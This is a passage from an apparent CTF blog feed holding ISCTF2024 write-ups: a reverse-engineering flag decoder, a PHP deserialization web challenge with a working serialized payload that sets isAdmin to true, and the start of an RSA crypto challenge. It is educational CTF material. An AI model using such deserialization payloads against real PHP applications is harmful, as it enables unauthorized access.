<span class="line">    <span class="token punctuation">{</span></span>
<span class="line">      v8 <span class="token operator">+=</span> <span class="token operator">*</span><span class="token punctuation">(</span><span class="token keyword">char</span> <span class="token operator">*</span><span class="token punctuation">)</span><span class="token punctuation">(</span>i <span class="token operator">%</span> <span class="token number">5u</span> <span class="token operator">+</span> a3<span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">      result <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token keyword">unsigned</span> <span class="token keyword">int</span><span class="token punctuation">)</span><span class="token punctuation">(</span><span class="token number">26</span> <span class="token operator">*</span> <span class="token punctuation">(</span>v8 <span class="token operator">/</span> <span class="token number">26</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">      <span class="token function">LOBYTE</span><span class="token punctuation">(</span>v8<span class="token punctuation">)</span> <span class="token operator">=</span> v8 <span class="token operator">%</span> <span class="token number">26</span> <span class="token operator">+</span> <span class="token number">65</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line">    <span class="token operator">*</span>a1 <span class="token operator">=</span> v8<span class="token punctuation">;</span></span>
<span class="line">    <span class="token operator">++</span>i<span class="token punctuation">;</span></span>
<span class="line">  <span class="token punctuation">}</span></span>
<span class="line">  <span class="token keyword">return</span> result<span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>将加密模块用 Python 复现：</p>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">def</span> <span class="token function">generate_payload</span><span class="token punctuation">(</span>target_text<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    payload <span class="token operator">=</span> <span class="token string">""</span></span>
<span class="line">    key_length <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">for</span> i<span class="token punctuation">,</span> char <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>target_text<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token string">'A'</span> <span class="token operator">&lt;=</span> char <span class="token operator">&lt;=</span> <span class="token string">'Z'</span><span class="token punctuation">:</span></span>
<span class="line">            shift <span class="token operator">=</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>key<span class="token punctuation">[</span>i <span class="token operator">%</span> key_length<span class="token punctuation">]</span><span class="token punctuation">)</span></span>
<span class="line">            original_char <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token number">65</span> <span class="token operator">-</span> shift <span class="token operator">+</span> <span class="token number">65</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">26</span> <span class="token operator">+</span> <span class="token number">65</span></span>
<span class="line">            payload <span class="token operator">+=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span>original_char<span class="token punctuation">)</span></span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">            payload <span class="token operator">+=</span> char</span>
<span class="line"></span>
<span class="line">    <span class="token keyword">return</span> payload</span>
<span class="line"></span>
<span class="line"></span>
<span class="line">target_text <span class="token operator">=</span> <span class="token string">"QKEMK{7JB5_i5_W3SllD_3z_W3}"</span></span>
<span class="line">key <span class="token operator">=</span> <span class="token string">"ISCTF"</span></span>
<span class="line"></span>
<span class="line"></span>
<span class="line">payload <span class="token operator">=</span> generate_payload<span class="token punctuation">(</span>target_text<span class="token punctuation">,</span> key<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Generated Payload:"</span><span class="token punctuation">,</span> payload<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>运行即可得到 flag.</p>
]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">PHP反序列化 | ISCTF2024 | Web ezserialize</title>
    <id>https://www.hestudio.net/posts/ezserialize-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/ezserialize-isctf2024.html"/>
    <updated>2024-12-10T14:18:03.000Z</updated>
    <summary type="html"><![CDATA[<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
<span class="line"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">Flag</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">private</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/flag'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">return</span> <span class="token string double-quoted-string">"You can't directly access the flag!"</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">User</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">public</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">public</span> <span class="token variable">$isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span> <span class="token operator">=</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__wakeup</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">isAdmin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Welcome, admin! Here's your flag: "</span> <span class="token operator">.</span> <span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Flag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-&gt;</span><span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Hello, "</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"!"</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token punctuation">}</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'data'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token variable">$data</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'data'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token variable">$object</span> <span class="token operator">=</span> <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$object</span> <span class="token keyword">instanceof</span> <span class="token class-name">User</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">echo</span> <span class="token variable">$object</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Invalid object!"</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"><span class="token delimiter important">?&gt;</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></summary>
    <content type="html"><![CDATA[<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
<span class="line"><span class="token function">error_reporting</span><span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">Flag</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">private</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/flag'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">return</span> <span class="token string double-quoted-string">"You can't directly access the flag!"</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">User</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">public</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">public</span> <span class="token variable">$isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span> <span class="token operator">=</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__wakeup</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">isAdmin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Welcome, admin! Here's your flag: "</span> <span class="token operator">.</span> <span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Flag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-&gt;</span><span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Hello, "</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"!"</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token punctuation">}</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token keyword">isset</span><span class="token punctuation">(</span><span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'data'</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token variable">$data</span> <span class="token operator">=</span> <span class="token variable">$_GET</span><span class="token punctuation">[</span><span class="token string single-quoted-string">'data'</span><span class="token punctuation">]</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token variable">$object</span> <span class="token operator">=</span> <span class="token function">unserialize</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$object</span> <span class="token keyword">instanceof</span> <span class="token class-name">User</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">echo</span> <span class="token variable">$object</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Invalid object!"</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token function">highlight_file</span><span class="token punctuation">(</span><span class="token constant">__FILE__</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"><span class="token delimiter important">?&gt;</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>我们需要构造一个 <code>User</code> 对象，并将 <code>isAdmin</code> 设置为 <code>true</code>，以便在反序列化时触发 <code>__wakeup()</code> 方法并执行 <code>getFlag()</code> 来读取 <code>flag</code>。</p>
<div class="language-php line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="php" style="--vp-collapsed-lines:15;"><pre><code class="language-php"><span class="line"><span class="token php language-php"><span class="token delimiter important">&lt;?php</span></span>
<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">Flag</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">private</span> <span class="token variable">$flag</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span> <span class="token operator">=</span> <span class="token function">file_get_contents</span><span class="token punctuation">(</span><span class="token string single-quoted-string">'/flag'</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">return</span> <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">flag</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__toString</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">return</span> <span class="token string double-quoted-string">"You can't directly access the flag!"</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">class</span> <span class="token class-name-definition class-name">User</span> <span class="token punctuation">{</span></span>
<span class="line">    <span class="token keyword">public</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token keyword">public</span> <span class="token variable">$isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">false</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__construct</span><span class="token punctuation">(</span><span class="token variable">$username</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span> <span class="token operator">=</span> <span class="token variable">$username</span><span class="token punctuation">;</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">public</span> <span class="token keyword">function</span> <span class="token function-definition function">__wakeup</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">isAdmin</span><span class="token punctuation">)</span> <span class="token punctuation">{</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Welcome, admin! Here's your flag: "</span> <span class="token operator">.</span> <span class="token punctuation">(</span><span class="token keyword">new</span> <span class="token class-name">Flag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">-&gt;</span><span class="token function">getFlag</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token punctuation">}</span> <span class="token keyword">else</span> <span class="token punctuation">{</span></span>
<span class="line">            <span class="token keyword">echo</span> <span class="token string double-quoted-string">"Hello, "</span> <span class="token operator">.</span> <span class="token function">htmlspecialchars</span><span class="token punctuation">(</span><span class="token variable">$this</span><span class="token operator">-&gt;</span><span class="token property">username</span><span class="token punctuation">)</span> <span class="token operator">.</span> <span class="token string double-quoted-string">"!"</span><span class="token punctuation">;</span></span>
<span class="line">        <span class="token punctuation">}</span></span>
<span class="line">    <span class="token punctuation">}</span></span>
<span class="line"><span class="token punctuation">}</span></span>
<span class="line"></span>
<span class="line"><span class="token variable">$payload</span> <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">User</span><span class="token punctuation">(</span><span class="token string double-quoted-string">"attacker"</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token variable">$payload</span><span class="token operator">-&gt;</span><span class="token property">isAdmin</span> <span class="token operator">=</span> <span class="token constant boolean">true</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line"><span class="token variable">$data</span> <span class="token operator">=</span> <span class="token function">serialize</span><span class="token punctuation">(</span><span class="token variable">$payload</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">echo</span> <span class="token function">urlencode</span><span class="token punctuation">(</span><span class="token variable">$data</span><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token delimiter important">?&gt;</span></span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div><p>运行后拿到 URL 编码的序列化字符串，这个字符串就是我们要传递的 <code>data</code> 参数。</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">O%3A4%3A%22User%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A8%3A%22attacker%22%3Bs%3A7%3A%22isAdmin%22%3Bb%3A1%3B%7D</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>然后就可以拿到 flag 了。</p>
]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">费马函数 | ISCTF2024 | Crypto 蓝鲨的费马</title>
    <id>https://www.hestudio.net/posts/fermat-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/fermat-isctf2024.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<h3>原题</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> libnum</span>
<span class="line"><span class="token keyword">import</span> gmpy2</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> <span class="token operator">*</span></span>
<span class="line"></span>
<span class="line">flag<span class="token operator">=</span><span class="token string">b'ISCTF{********}'</span></span>
<span class="line">m<span class="token operator">=</span>bytes_to_long<span class="token punctuation">(</span>flag<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">p<span class="token operator">=</span>libnum<span class="token punctuation">.</span>generate_prime<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">)</span></span>
<span class="line">q<span class="token operator">=</span>libnum<span class="token punctuation">.</span>generate_prime<span class="token punctuation">(</span><span class="token number">1024</span><span class="token punctuation">)</span></span>
<span class="line">n<span class="token operator">=</span>p<span class="token operator">*</span>q</span>
<span class="line">e<span class="token operator">=</span><span class="token number">0x10001</span></span>
<span class="line">c<span class="token operator">=</span><span class="token builtin">pow</span><span class="token punctuation">(</span>m<span class="token punctuation">,</span>e<span class="token punctuation">,</span>n<span class="token punctuation">)</span></span>
<span class="line">d<span class="token operator">=</span>inverse<span class="token punctuation">(</span>e<span class="token punctuation">,</span><span class="token punctuation">(</span>p<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token operator">*</span><span class="token punctuation">(</span>q<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">leak <span class="token operator">=</span> <span class="token punctuation">(</span>d<span class="token operator">+</span><span class="token punctuation">(</span><span class="token builtin">pow</span><span class="token punctuation">(</span>p<span class="token punctuation">,</span>q<span class="token punctuation">,</span>n<span class="token punctuation">)</span><span class="token operator">+</span><span class="token builtin">pow</span><span class="token punctuation">(</span>q<span class="token punctuation">,</span>p<span class="token punctuation">,</span>n<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token operator">%</span>n</span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"c="</span><span class="token punctuation">,</span> c<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"n="</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"leak="</span><span class="token punctuation">,</span> leak<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token triple-quoted-string string">"""</span>
